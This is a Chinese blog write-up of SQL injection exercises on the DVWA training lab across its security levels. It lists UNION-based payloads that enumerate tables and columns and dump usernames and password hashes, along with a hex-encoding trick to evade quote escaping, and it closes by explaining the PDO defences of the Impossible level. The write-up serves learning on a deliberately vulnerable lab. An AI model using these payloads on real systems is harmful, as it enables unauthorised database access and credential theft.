dvwa之sqli

Low:
源代码:
在这里插入图片描述
什么都没过滤,直接给变量。用了引号应该是字符注入。

1 or 1=1
在这里插入图片描述
1 or 1=2
在这里插入图片描述
非数字型.
1‘
在这里插入图片描述
1’ or ‘1’=’1
在这里插入图片描述

为字符型。
科普:
在这里插入图片描述

1’ union select database(),version
在这里插入图片描述
有limit限制。加#将后面的注释掉

1’ union select database(),version()#
在这里插入图片描述

1’ order by 2#
在这里插入图片描述
1’ order by 3#
在这里插入图片描述

为两列。

1’ union select 1,table_name from information_schema.tables where table_schema=database()#
在这里插入图片描述
1’ union select 1,column_name from information_schema.columns where table_name=’users’#
在这里插入图片描述
1’ union select user,password from users#

在这里插入图片描述
Medium:
源代码:
在这里插入图片描述
看起来不像字符注入。
在这里插入图片描述
在这里插入图片描述
页面:
在这里插入图片描述
不给写语句。
抓包:
1’
在这里插入图片描述

‘转义为\’
在这里插入图片描述
1 or 1=1
在这里插入图片描述
在这里插入图片描述
为数字型。
由low知为2列。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
union select 1,column_name from information_schema.columns where table_name=’users’
这一句已经无法利用,’users’将被转义为\’users\’无法在数据库查询。
则可以通过16进制绕过:
科普:
在这里插入图片描述

测试mysql:
在这里插入图片描述
生效。
users对应16进制的7573657273

union select 1,column_name from information_schema.columns where table_name=0x7573657273
在这里插入图片描述
在这里插入图片描述

union select user,password from users
在这里插入图片描述
在这里插入图片描述

High:
源代码
在这里插入图片描述
通过session传递,添加了limit限制。需要构造互相闭合语句。
在这里插入图片描述
在这里插入图片描述

构造语句生效.

1’ union select database(),version()#
在这里插入图片描述

1’ union select 1,table_name from information_schema.tables where table_schema=database() #
在这里插入图片描述
似乎没有生效,可能没有注释掉。
抓包:
在这里插入图片描述
session提交似乎会将语句进行编码从而无法执行。
改包:
在这里插入图片描述
在这里插入图片描述

1’ union select 1,column_name from information_schema.columns where table_name=’users’#
在这里插入图片描述

1’ union select user,password from users#
在这里插入图片描述
在这里插入图片描述

Impossible:
在这里插入图片描述
通过get传参,加入各种函数进行过滤数据,并且加入limit限制。
科普:
Token:一般通过session验证,当用户访问视图时,服务器端生成一个token放入session中,同时将token返回视图,通过js或者hidden接收。通过比较这两个token是否一致在进行数据操作---------------函数:checktoken():检查token。好处:1.防止表单重复提交 2.防止csrf攻击 3.用于签名验证。安全。 坏处:服务器压力过大
is_numeric():用于检测变量是否为数字或数字字符串,是返回1,否返回0。利用不了字符串
Bindparam():将绑定的参数交给execute()。这样的话无法再构造闭合语句,此函数让user_id必须对应一个值。
最后的if($data.rowcount()==1)限制了返回结果为一条。

没什么思路,百度看了下大神们的分析,用到了什么pdo技术,划清代码与数据界限。
以及其他模块绕过都进行了防护。

会破impossible的可以评论教下,感激不尽。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值